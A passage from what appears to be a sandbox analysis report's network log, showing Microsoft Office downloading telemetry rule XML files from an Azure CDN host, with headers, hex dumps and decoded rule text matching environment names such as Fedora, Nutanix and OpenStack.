0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:30 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-16849878b78bjkl8dpep89pbgg00000005n00000000065n3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:30 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 3802ff33-701e-0001-4310-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-17c5cb586f6wmhkn5q6fu8c5ss000000067000000000bdfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:30 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-r197bdfb6b47gqdjvmbpfaf2d00000000230000000009143 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-16849878b78qfbkc5yywmsbg0c00000006d000000000wkc7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:31 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174231Z-15b8d89586fmc8ck21zz2rtg1w000000040g00000000d07g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 07599615-001e-0082-48f6-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174231Z-17c5cb586f6mkpfkkpsf1dpups000000025g000000009x4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:31 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174231Z-17c5cb586f6lxnvg801rcb3n8n00000006v000000000589w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174231Z-16849878b78j7llf5vkyvvcehs00000007zg0000000092dz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9a8e6971-501e-0078-586f-2806cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174231Z-15b8d89586fxdh48ft0acdbg4400000000rg0000000038rr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: fbbf15bf-401e-0015-226f-280e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174232Z-r197bdfb6b4gx6v9pg74w9f47s00000008ug00000000d0bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:32 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:32 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174232Z-16849878b78wc6ln1zsrz6q9w800000006kg000000007yet x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:32 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:32 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:32 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 79657049-a01e-0032-1dac-241949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174232Z-15b8d89586fwzdd8urmg0p1ebs0000000he000000000a3be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
